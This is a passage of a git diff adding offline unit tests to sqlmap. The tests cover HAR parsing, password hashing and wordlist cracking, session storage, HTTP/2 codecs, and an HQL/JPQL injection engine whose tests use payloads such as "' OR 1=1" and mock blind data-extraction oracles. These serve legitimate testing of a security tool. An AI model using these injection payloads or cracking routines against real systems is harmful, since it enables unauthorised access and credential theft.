test_opt_strings_from_short_long(self): + self.assertEqual(gui._optStrings(self.opt), ["-u", "--url"]) + + def test_value_type_and_takes(self): + self.assertEqual(gui._optValueType(self.intopt), "int") + self.assertTrue(gui._optTakesValue(self.opt)) + self.assertFalse(gui._optTakesValue(self.boolopt)) + + def test_group_description_via_method(self): + self.assertEqual(gui._groupDescription(self.group), "target opts") + self.assertEqual(gui._groupOptions(self.group), [self.opt, self.intopt, self.boolopt]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_har.py b/tests/test_har.py new file mode 100644 index 00000000000..56e9b69b5b6 --- /dev/null +++ b/tests/test_har.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/utils/har.py -- HAR (HTTP Archive) collector and HTTP +request/response parsing used by sqlmap's --har-file feature. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import har as H + + +class TestFakeSocket(unittest.TestCase): + def test_makefile_returns_bytesio(self): + sock = H.FakeSocket(b"hello\r\n") + f = sock.makefile() + self.assertEqual(f.read(), b"hello\r\n") + + +class TestRawPair(unittest.TestCase): + def test_stores_fields(self): + pair = H.RawPair(b"GET / HTTP/1.0\r\n\r\n", + b"HTTP/1.0 200 OK\r\n\r\n", + startTime=1000, endTime=2000) + self.assertEqual(pair.request, b"GET / HTTP/1.0\r\n\r\n") + self.assertEqual(pair.response, b"HTTP/1.0 200 OK\r\n\r\n") + self.assertEqual(pair.startTime, 1000) + self.assertEqual(pair.endTime, 2000) + + +class TestHTTPCollector(unittest.TestCase): + def test_collect_and_obtain(self): + c = H.HTTPCollector() + c.collectRequest(b"GET / HTTP/1.0\r\nHost: example.com\r\n\r\n", + b"HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\nbody", + startTime=1000, endTime=2000) + result = c.obtain() + log = result["log"] + self.assertEqual(log["version"], "1.2") + self.assertEqual(log["creator"]["name"], "sqlmap") + entries = log["entries"] + self.assertEqual(len(entries), 1) + self.assertEqual(entries[0]["request"]["method"], "GET") + self.assertEqual(entries[0]["response"]["status"], 200) + + +class TestHTTPCollectorFactory(unittest.TestCase): + def test_create_returns_collector(self): + f = H.HTTPCollectorFactory(harFile=True) + c = f.create() + self.assertIsInstance(c, H.HTTPCollector) + + +class TestEntry(unittest.TestCase): + def test_toDict(self): + req = H.Request("GET", "/path", "HTTP/1.1", + {"Host": "example.com"}) + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/html"}, b"body") + entry = H.Entry(req, resp, startTime=1000, endTime=2000, + extendedArguments={}) + d = entry.toDict() + self.assertEqual(d["request"]["method"], "GET") + self.assertEqual(d["response"]["status"], 200) + self.assertEqual(d["time"], 1000000) + self.assertIn("startedDateTime", d) + + +class TestRequest(unittest.TestCase): + def test_parse_simple_get(self): + raw = b"GET /path HTTP/1.1\r\nHost: example.com\r\n\r\n" + req = H.Request.parse(raw) + self.assertEqual(req.method, "GET") + self.assertEqual(req.path, "/path") + self.assertEqual(req.httpVersion, "HTTP/1.1") + self.assertEqual(req.headers.get("Host"), "example.com") + + def test_parse_with_comment(self): + raw = (b"HTTP request [#1]:\r\n" + b"POST /submit HTTP/1.0\r\n" + b"Host: example.com\r\n" + b"Content-Type: text/plain\r\n" + b"Content-Length: 4\r\n" + b"\r\n" + b"body") + req = H.Request.parse(raw) + self.assertEqual(req.method, "POST") + self.assertEqual(req.path, "/submit") + self.assertEqual(req.comment, b"HTTP request [#1]:") + self.assertIn(b"body", req.postBody) + + def test_toDict(self): + req = H.Request("GET", "/", "HTTP/1.0", + {"Host": "test.com", "Accept": "*/*"}) + d = req.toDict() + self.assertEqual(d["method"], "GET") + self.assertEqual(d["url"], "http://test.com/") + self.assertEqual(len(d["headers"]), 2) + + def test_toDict_with_postbody(self): + req = H.Request("POST", "/", "HTTP/1.1", + {"Host": "test.com", "Content-Type": "application/json"}, + postBody=b'{"a":1}') + d = req.toDict() + self.assertEqual(d["postData"]["mimeType"], "application/json") + self.assertIn('{"a":1}', d["postData"]["text"]) + + def test_url_property(self): + req = H.Request("GET", "/path?q=1", "HTTP/1.0", + {"Host": "example.com"}) + self.assertEqual(req.url, "http://example.com/path?q=1") + + def test_url_no_host_header(self): + req = H.Request("GET", "/", "HTTP/1.0", {}) + self.assertIn("unknown", req.url) + + +class TestResponse(unittest.TestCase): + def test_parse_simple(self): + raw = b"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 4\r\n\r\nbody" + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "OK") + self.assertEqual(resp.headers.get("Content-Type"), "text/html") + self.assertEqual(resp.content, b"body") + + def test_parse_with_comment(self): + raw = (b"HTTP response [#1] (200 Fine):\r\n" + b"HTTP/1.0 200 Fine\r\n" + b"Content-Type: text/plain\r\n" + b"\r\n" + b"response body") + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "Fine") + self.assertIn(b"HTTP response", resp.comment) + + def test_toDict(self): + resp = H.Response("HTTP/1.1", 404, "Not Found", + {"Content-Type": "text/html"}, b"not found") + d = resp.toDict() + self.assertEqual(d["status"], 404) + self.assertEqual(d["statusText"], "Not Found") + self.assertEqual(d["content"]["text"], "not found") + self.assertEqual(d["content"]["size"], 9) + + def test_toDict_binary_content_encoded(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "application/octet-stream"}, + b"\x00\x01\xff") + d = resp.toDict() + self.assertEqual(d["content"]["encoding"], "base64") + + def test_toDict_non_text_content(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/plain"}, b"plain text") + d = resp.toDict() + self.assertEqual(d["content"]["text"], "plain text") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash.py b/tests/test_hash.py new file mode 100644 index 00000000000..4ab5546c0e2 --- /dev/null +++ b/tests/test_hash.py @@ -0,0 +1,105 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Password-hashing primitives (lib/utils/hash.py) used by the dictionary-attack +cracker (-? / --passwords). These are pure functions; correctness here is what +makes a cracked password actually match the target hash. + +The generic hashes are cross-checked against the stdlib hashlib (an INDEPENDENT +oracle, not just a regression against sqlmap's own output). The DBMS-specific +algorithms (MySQL/MSSQL/Oracle/Postgres) are pinned to known vectors, and +hashRecognition's classification is exercised as a table. +""" + +import hashlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.enums import HASH + + +class TestGenericVsHashlib(unittest.TestCase): + """Independent oracle: sqlmap's generic hashes must equal stdlib hashlib.""" + + PW = "testpass" + + def test_md5(self): + self.assertEqual(H.md5_generic_passwd(self.PW), hashlib.md5(b"testpass").hexdigest()) + + def test_sha1(self): + self.assertEqual(H.sha1_generic_passwd(self.PW), hashlib.sha1(b"testpass").hexdigest()) + + def test_sha224(self): + self.assertEqual(H.sha224_generic_passwd(self.PW), hashlib.sha224(b"testpass").hexdigest()) + + def test_sha256(self): + self.assertEqual(H.sha256_generic_passwd(self.PW), hashlib.sha256(b"testpass").hexdigest()) + + def test_sha384(self): + self.assertEqual(H.sha384_generic_passwd(self.PW), hashlib.sha384(b"testpass").hexdigest()) + + def test_sha512(self): + self.assertEqual(H.sha512_generic_passwd(self.PW), hashlib.sha512(b"testpass").hexdigest()) + + +class TestUppercase(unittest.TestCase): + def test_uppercase_flag(self): + self.assertEqual(H.md5_generic_passwd("testpass", uppercase=True), + hashlib.md5(b"testpass").hexdigest().upper()) + + def test_lowercase_default(self): + out = H.md5_generic_passwd("testpass", uppercase=False) + self.assertEqual(out, out.lower()) + + +class TestDbmsSpecificVectors(unittest.TestCase): + """Known vectors for the DBMS-native algorithms (mirrors the docstrings).""" + + def test_mysql(self): + self.assertEqual(H.mysql_passwd("testpass", uppercase=True), + "*00E247AC5F9AF26AE0194B41E1E769DEE1429A29") + + def test_mysql_old(self): + self.assertEqual(H.mysql_old_passwd("testpass", uppercase=True), "7DCDA0D57290B453") + + def test_postgres(self): + self.assertEqual(H.postgres_passwd("testpass", "testuser", uppercase=False), + "md599e5ea7a6f7c3269995cba3927fd0093") + + def test_mssql(self): + self.assertEqual(H.mssql_passwd("testpass", salt="4086ceb6", uppercase=False), + "0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + + def test_oracle(self): + self.assertEqual(H.oracle_passwd("SHAlala", salt="1B7B5F82B7235E9E182C", uppercase=True), + "S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") + + def test_oracle_old(self): + self.assertEqual(H.oracle_old_passwd("tiger", "scott", uppercase=True), "F894844C34402B67") + + +class TestHashRecognition(unittest.TestCase): + def test_md5_generic(self): + self.assertEqual(H.hashRecognition("179ad45c6ce2cb97cf1029e212046e81"), HASH.MD5_GENERIC) + + def test_sha1_generic(self): + self.assertEqual(H.hashRecognition("206c80413b9a96c1312cc346b7d2517b84463edd"), HASH.SHA1_GENERIC) + + def test_mysql(self): + self.assertEqual(H.hashRecognition("*00E247AC5F9AF26AE0194B41E1E769DEE1429A29"), HASH.MYSQL) + + def test_junk_is_none(self): + self.assertIsNone(H.hashRecognition("foobar")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash_crack.py b/tests/test_hash_crack.py new file mode 100644 index 00000000000..3d61d00d14c --- /dev/null +++ b/tests/test_hash_crack.py @@ -0,0 +1,232 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Dictionary-attack machinery in lib/utils/hash.py (the cracking loop, hash-file +parsing, result storage and table/cache post-processing) - the part NOT covered +by tests/test_hash.py, which only exercises the pure hash-format functions. + +These run the single-process cracking path (conf.disableMulti=True) against a +TINY temp wordlist that contains the known plaintext, so a known hash is cracked +deterministically in milliseconds without interactive prompts, multiprocessing +pools, network, or the real default dictionary. conf.hashDB is forced to None so +hashDBRetrieve/hashDBWrite become no-ops (no session DB side effects). +""" + +import glob +import hashlib +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.data import conf, kb +from lib.core.enums import MKSTEMP_PREFIX + +import atexit +import shutil +SCRATCH = tempfile.mkdtemp(prefix="sqlmap_test_hashcrack_") +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) + +# known plaintext / hashes shared across tests +PW = "testpass" +MD5_HASH = hashlib.md5(PW.encode("utf-8")).hexdigest() + + +class _CrackBase(unittest.TestCase): + """Sets up a tiny wordlist and non-interactive, no-DB, single-process state.""" + + @classmethod + def setUpClass(cls): + cls._tmpfiles = [] + + # tiny wordlist containing the known plaintext (plus decoys) + cls.wordlist = os.path.join(SCRATCH, "test_hash_crack_wl.txt") + with open(cls.wordlist, "w") as f: + f.write("foo\nbar\n%s\nbaz\n" % PW) + cls._tmpfiles.append(cls.wordlist) + + @classmethod + def tearDownClass(cls): + for path in cls._tmpfiles: + try: + os.remove(path) + except OSError: + pass + + def setUp(self): + # snapshot global state we mutate + self._saved = { + "disableMulti": conf.disableMulti, + "hashDB": conf.hashDB, + "hashFile": conf.hashFile, + "wordlists": kb.wordlists, + "cachedUsersPasswords": kb.data.cachedUsersPasswords if "cachedUsersPasswords" in kb.data else None, + "storeHashes": kb.choices.storeHashes if "storeHashes" in kb.choices else None, + } + + # deterministic, fast, side-effect-free cracking + conf.disableMulti = True + conf.hashDB = None + kb.wordlists = [self.wordlist] + + # cracking prints "[INFO] cracked password ..." via dataToStdout(forceOutput=True), which + # bypasses both the logger and kb.wizardMode suppression; redirect stdout so the unittest + # report stays clean (these tests assert on return values/kb, never on console output). + self._saved_stdout = sys.stdout + sys.stdout = open(os.devnull, "w") + + def tearDown(self): + if getattr(self, "_saved_stdout", None) is not None: + try: + sys.stdout.close() + finally: + sys.stdout = self._saved_stdout + conf.disableMulti = self._saved["disableMulti"] + conf.hashDB = self._saved["hashDB"] + conf.hashFile = self._saved["hashFile"] + kb.wordlists = self._saved["wordlists"] + kb.data.cachedUsersPasswords = self._saved["cachedUsersPasswords"] + kb.choices.storeHashes = self._saved["storeHashes"] + + +class TestDictionaryAttack(_CrackBase): + def test_crack_md5_generic_variant_a(self): + # generic (no-salt) algorithms go through _bruteProcessVariantA + results = H.dictionaryAttack({"admin": [MD5_HASH]}) + self.assertEqual(results, [("admin", MD5_HASH, PW)]) + + def test_crack_postgres_variant_b(self): + # username-dependent algorithm goes through _bruteProcessVariantB + h = H.postgres_passwd(PW, "testuser", uppercase=False) + results = H.dictionaryAttack({"testuser": [h]}) + self.assertEqual(results, [("testuser", h, PW)]) + + def test_crack_django_md5_salted_variant_b(self): + # salted algorithm: salt is parsed out of the stored hash by dictionaryAttack + h = H.django_md5_passwd(PW, "salt") + results = H.dictionaryAttack({"u2": [h]}) + self.assertEqual(results, [("u2", h, PW)]) + + def test_no_password_found_returns_empty(self): + # plaintext not in wordlist -> nothing cracked + h = hashlib.md5(b"not-in-wordlist-xyz").hexdigest() + results = H.dictionaryAttack({"admin": [h]}) + self.assertEqual(results, []) + + def test_unknown_hash_format_ignored(self): + # a value that hashRecognition rejects produces no hash_regexes and no results + results = H.dictionaryAttack({"admin": ["not_a_hash"]}) + self.assertEqual(results, []) + + def test_empty_attack_dict(self): + self.assertEqual(H.dictionaryAttack({}), []) + + +class TestCrackHashFile(_CrackBase): + def setUp(self): + super(TestCrackHashFile, self).setUp() + # capture the parsed attack_dict that crackHashFile feeds to dictionaryAttack + self._captured = {} + self._real_attack = H.dictionaryAttack + + def _capture(attack_dict): + self._captured.clear() + self._captured.update(attack_dict) + return [] + + H.dictionaryAttack = _capture + + def tearDown(self): + H.dictionaryAttack = self._real_attack + super(TestCrackHashFile, self).tearDown() + + def test_user_colon_hash_file(self): + path = os.path.join(SCRATCH, "test_hash_crack_hashes.txt") + with open(path, "w") as f: + f.write("admin:%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + # the "user:hash" line is parsed into {username: [hash]} + self.assertEqual(self._captured, {"admin": [MD5_HASH]}) + + def test_bare_hash_file(self): + # no "user:hash" structure -> a dummy user is synthesised per line + path = os.path.join(SCRATCH, "test_hash_crack_bare.txt") + with open(path, "w") as f: + f.write("%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + from lib.core.settings import DUMMY_USER_PREFIX + self.assertEqual(len(self._captured), 1) + (key, value), = self._captured.items() + # the synthesised key uses the dummy-user prefix and maps to the bare hash + self.assertTrue(key.startswith(DUMMY_USER_PREFIX), + msg="bare line was not assigned a dummy user: %r" % key) + self.assertEqual(value, [MD5_HASH]) + + +class TestAttackCachedUsersPasswords(_CrackBase): + def test_annotates_cleartext(self): + kb.data.cachedUsersPasswords = {"admin": [MD5_HASH]} + H.attackCachedUsersPasswords() + # the original value is augmented in place with the recovered clear-text + self.assertIn("clear-text password: %s" % PW, kb.data.cachedUsersPasswords["admin"][0]) + + def test_no_cached_data_is_noop(self): + kb.data.cachedUsersPasswords = {} + # must simply return without touching anything + self.assertIsNone(H.attackCachedUsersPasswords()) + + +class TestStoreHashesToFile(_CrackBase): + def _hash_tempfiles(self): + pattern = os.path.join(tempfile.gettempdir(), MKSTEMP_PREFIX.HASHES + "*") + return set(glob.glob(pattern)) + + def test_store_disabled_writes_nothing(self): + kb.choices.storeHashes = False + before = self._hash_tempfiles() + H.storeHashesToFile({"admin": [MD5_HASH]}) + self.assertEqual(self._hash_tempfiles(), before) + + def test_store_enabled_writes_recognised_hash(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + try: + H.storeHashesToFile({"admin": [MD5_HASH]}) + new = self._hash_tempfiles() - before + self.assertEqual(len(new), 1) + with open(next(iter(new))) as fh: + written = fh.read() + self.assertIn(MD5_HASH, written) + self.assertIn("admin", written) + finally: + for path in self._hash_tempfiles() - before: + try: + os.remove(path) + except OSError: + pass + + def test_empty_attack_dict_is_noop(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + H.storeHashesToFile({}) + self.assertEqual(self._hash_tempfiles(), before) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hashdb.py b/tests/test_hashdb.py new file mode 100644 index 00000000000..36bbd4dc9ff --- /dev/null +++ b/tests/test_hashdb.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Session storage layer (lib/utils/hashdb.py) - the on-disk SQLite cache that +makes --flush-session / resume work. + +Exercised against a REAL temporary SQLite file (no network, no DBMS): scalar +write/retrieve, serialized round-trip for every container type sqlmap stores, +overwrite semantics, missing-key -> None, and key-hash determinism. + +This is also the end-to-end regression for the base64-pickle bytes fix: a +serialized value containing raw `bytes` must survive a write/flush/retrieve +cycle on both Python 2 and 3 (it silently failed on py3 before the patch.py fix). +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.hashdb import HashDB +from lib.core.datatype import AttribDict +from lib.core.bigarray import BigArray + + +class _HashDBCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + self.db = HashDB(self.path) + + def tearDown(self): + try: + self.db.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + +class TestScalar(_HashDBCase): + def test_string_roundtrip(self): + self.db.write("greeting", "hello") + self.db.flush() + self.assertEqual(self.db.retrieve("greeting"), "hello") + + def test_non_serialized_number_comes_back_as_text(self): + # non-serialized writes are stored via getUnicode() + self.db.write("num", 5) + self.db.flush() + self.assertEqual(self.db.retrieve("num"), "5") + + def test_missing_key_is_none(self): + self.assertIsNone(self.db.retrieve("never-written")) + + def test_overwrite_last_wins(self): + self.db.write("k", "v1") + self.db.write("k", "v2") + self.db.flush() + self.assertEqual(self.db.retrieve("k"), "v2") + + def test_keys_are_independent(self): + self.db.write("a", "1") + self.db.write("b", "2") + self.db.flush() + self.assertEqual(self.db.retrieve("a"), "1") + self.assertEqual(self.db.retrieve("b"), "2") + + +class TestSerialized(_HashDBCase): + def test_list_dict_tuple_set(self): + cases = { + "list": [1, 2, 3, "x"], + "dict": {"k": [1, {"n": "v"}]}, + "tuple": (1, "a", None), + "set": set([1, 2, 3]), + } + for key, val in cases.items(): + self.db.write(key, val, True) + self.db.flush() + for key, val in cases.items(): + self.assertEqual(self.db.retrieve(key, True), val, msg="serialized round-trip for %s" % key) + + def test_attribdict_roundtrip(self): + ad = AttribDict() + ad.x = 1 + ad.y = [1, 2] + self.db.write("ad", ad, True) + self.db.flush() + got = self.db.retrieve("ad", True) + self.assertIsInstance(got, AttribDict) + self.assertEqual(got.x, 1) + self.assertEqual(got.y, [1, 2]) + + def test_bigarray_roundtrip(self): + self.db.write("ba", BigArray([1, 2, 3]), True) + self.db.flush() + got = self.db.retrieve("ba", True) + self.assertIsInstance(got, BigArray) + self.assertEqual(list(got), [1, 2, 3]) + + def test_bytes_containing_value_survives(self): + # REGRESSION (base64-pickle bytes fix): silently failed to restore on py3 before the fix. + # Must round-trip through SQLite, not the in-memory caches: write+flush here, then open a + # FRESH HashDB on the same file (empty read/write caches) so retrieve() hits the disk path. + value = {"raw": b"\x00\x01\xff", "items": [b"ab", "s", 1]} + self.db.write("bytesval", value, True) + self.db.flush() + + fresh = HashDB(self.path) + try: + # sanity: the value is genuinely not in the fresh in-memory caches + self.assertFalse(fresh._write_cache) + hash_ = HashDB.hashKey("bytesval") + self.assertIsNone(fresh._read_cache.get(hash_)) + self.assertEqual(fresh.retrieve("bytesval", True), value) + finally: + fresh.closeAll() + + +class TestKeyHashing(_HashDBCase): + def test_distinct_keys_distinct_hashes(self): + # a broken hashKey that keys only on (say) length or the last char would collide; require + # 200 distinct keys to map to 200 distinct hashes. (Determinism is implied: the retrieve + # round-trips in TestScalar already depend on hashKey being stable.) + keys = ["key_%d_%s" % (i, "abcdefgh"[i % 8]) for i in range(200)] + hashes = set(HashDB.hashKey(k) for k in keys) + self.assertEqual(len(hashes), len(keys), msg="hashKey produced collisions across distinct keys") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hql.py b/tests/test_hql.py new file mode 100644 index 00000000000..e594b82988b --- /dev/null +++ b/tests/test_hql.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the HQL/JPQL (Hibernate ORM) injection engine. Mock +oracles stand in for the HTTP/ORM layer so detection, fingerprinting, entity leakage, +blind attribute enumeration, value extraction and output formatting can be exercised +without a live Hibernate target. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.hql.inject as hql + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(hql._ratio("abc", "abc"), 0.9) + self.assertLess(hql._ratio("abc", "xyz"), 0.5) + + def test_is_error(self): + self.assertTrue(hql._isError("org.hibernate.query.SyntaxException: token recognition error at: '''")) + self.assertTrue(hql._isError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity 'Ghost'")) + self.assertFalse(hql._isError("normal page content")) + + def test_backend_from_error(self): + self.assertEqual(hql._backendFromError("org.hibernate.query.SemanticException: boom"), "Hibernate") + self.assertIsNotNone(hql._backendFromError("org.eclipse.persistence.exceptions.JPQLException")) + self.assertIsNone(hql._backendFromError("plain page")) + + def test_entity_from_error(self): + self.assertEqual(hql._entityFromError("Could not resolve attribute 'zzz' of 'lab.App$Member'"), "lab.App$Member") + self.assertEqual(hql._entityFromError("Could not resolve root entity 'Ghost'"), "Ghost") + self.assertIsNone(hql._entityFromError("nothing here")) + + def test_short_entity(self): + self.assertEqual(hql._shortEntity("lab.App$Member"), "Member") + self.assertEqual(hql._shortEntity("com.acme.model.User"), "User") + self.assertEqual(hql._shortEntity("User"), "User") + + +class TestBoundary(unittest.TestCase): + def test_wrap_string(self): + b = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertEqual(hql._wrap("SEN", b, "1=1"), "SEN' OR 1=1 OR '1'='2") + + def test_base_sentinel_vs_numeric(self): + self.assertEqual(hql._base(hql.Boundary("' OR ", " OR '1'='2", True), "x"), hql.SENTINEL) + self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1") + + def test_scalar_casts_attribute(self): + expr = hql._scalar("Member", "LENGTH(CAST(_h.id AS string))", "id") + self.assertIn("CAST(_h.id AS string)", expr) + self.assertIn("FROM Member _h", expr) + self.assertIn("MIN(_h2.id)", expr) + + +class TestDetection(unittest.TestCase): + def setUp(self): + self.original = hql._send + + def tearDown(self): + hql._send = self.original + + def test_boolean_detection(self): + # TRUE payloads return rows, FALSE payloads return an empty (but stable) page + def mock(place, parameter, value): + if "OR '1'='1" in value or "OR 1=1" in value: + return "
    alice
    bob
    " + return "" + hql._send = mock + template, payload, boundary = hql._detectBoolean("GET", "name") + self.assertIsNotNone(template) + self.assertIn("OR '1'='1", payload) + self.assertTrue(boundary.sentinel) + + def test_no_detection_when_static(self): + hql._send = lambda place, parameter, value: "same" + template, _, _ = hql._detectBoolean("GET", "name") + self.assertIsNone(template) + + +def _recordOracle(record, entity="Member"): + """Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates + the engine emits, evaluated against an in-memory record dict.""" + + def truth(predicate): + # entity brute / attribute existence + m = re.search(r"FROM (\w+) _h", predicate) + if m and m.group(1) != entity: + return False + # entity brute: EXISTS(SELECT 1 FROM _h) + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + # attribute existence: EXISTS(SELECT _h. FROM _h) + m = re.search(r"SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in record + # length: LENGTH(CAST(_h. AS string)) ... >= N + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(record.get(m.group(1), ""))) >= int(n.group(1)) + # char: LOCATE(SUBSTRING(CAST(_h. AS string),,1),'') ... >= + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: + attr, pos, literal = m.group(1), int(m.group(2)), m.group(3) + value = str(record.get(attr, "")) + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) + return False + + return truth + + +class TestExtraction(unittest.TestCase): + def setUp(self): + self.record = {"id": "1", "name": "alice", "secret": "s3cr3t-alice", "role": "admin"} + self.truth = _recordOracle(self.record) + + def test_brute_entities(self): + self.assertEqual(hql._bruteEntities(self.truth), ["Member"]) + + def test_enum_fields(self): + fields = hql._enumFields(self.truth, "Member") + for expected in ("id", "name", "secret", "role"): + self.assertIn(expected, fields) + + def test_infer_string_value(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "name", "id"), "alice") + + def test_infer_secret_with_symbols(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "secret", "id"), "s3cr3t-alice") + + def test_infer_numeric_via_cast(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "id", "id"), "1") + + def test_infer_absent_attribute_empty(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "") + + +def _multiOracle(records): + """Row-aware oracle: honors the "_h2. > " walk bound by selecting the + smallest-id record strictly greater than `after`.""" + + def pick(predicate): + m = re.search(r"_h2\.\w+>(\d+)", predicate) + after = int(m.group(1)) if m else None + cands = [r for r in records if after is None or int(r["id"]) > after] + return min(cands, key=lambda r: int(r["id"])) if cands else None + + def truth(predicate): + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + m = re.search(r"EXISTS\(SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in records[0] + rec = pick(predicate) + if rec is None: + return False + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(rec.get(m.group(1), ""))) >= int(n.group(1)) + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: + value = str(rec.get(m.group(1), "")) + pos, literal = int(m.group(2)), m.group(3) + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) + return False + + return truth + + +class TestMultiRow(unittest.TestCase): + def setUp(self): + self.records = [ + {"id": "1", "name": "alice", "role": "admin"}, + {"id": "2", "name": "bob", "role": "user"}, + {"id": "5", "name": "carol", "role": "staff"}, + ] + self.truth = _multiOracle(self.records) + + def _walk(self, fields, pin): + rows, after = [], None + for _ in range(20): + pinValue = hql._inferValue(self.truth, "Member", pin, pin, after) + if not pinValue: + break + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = hql._inferValue(self.truth, "Member", field, pin, after) + rows.append(record) + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + return rows + + def test_walks_all_rows_in_order(self): + rows = self._walk(["id", "name", "role"], "id") + self.assertEqual([r["name"] for r in rows], ["alice", "bob", "carol"]) + self.assertEqual([r["id"] for r in rows], ["1", "2", "5"]) + self.assertEqual(rows[2]["role"], "staff") + + +class TestGrid(unittest.TestCase): + def test_grid(self): + out = hql._grid(["id", "name"], [["1", "alice"]]) + self.assertIn("alice", out) + self.assertIn("+--", out) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_http2.py b/tests/test_http2.py new file mode 100644 index 00000000000..7c762648176 --- /dev/null +++ b/tests/test_http2.py @@ -0,0 +1,283 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the PURE (network-free) parts of the native HTTP/2 client in +lib/request/http2.py: the RFC 7540 frame codec, the RFC 7541 HPACK integer / +Huffman / string primitives, the HPACK Decoder/Encoder (static + dynamic table), +and the urllib-compatible H2Response wrapper. + +Nothing here opens a socket or negotiates TLS - only the deterministic codecs and +the response adapter are exercised. Known vectors are the canonical RFC 7541 +examples; everything else is a round-trip / invariant check. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import binascii +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request.http2 import ( + Decoder, + Encoder, + H2Response, + REDIRECT_CODES, + STATIC_LEN, + STATIC_TABLE, + DATA, + HEADERS, + FLAG_END_HEADERS, + FLAG_END_STREAM, + decode_frame_header, + decode_integer, + decode_string, + encode_frame, + encode_integer, + encode_string, + huffman_decode, + huffman_encode, +) + + +def _b(*ints): + # build a bytes object from ints (identical on Python 2 and 3) + return bytes(bytearray(ints)) + + +class TestFrameCodec(unittest.TestCase): + def 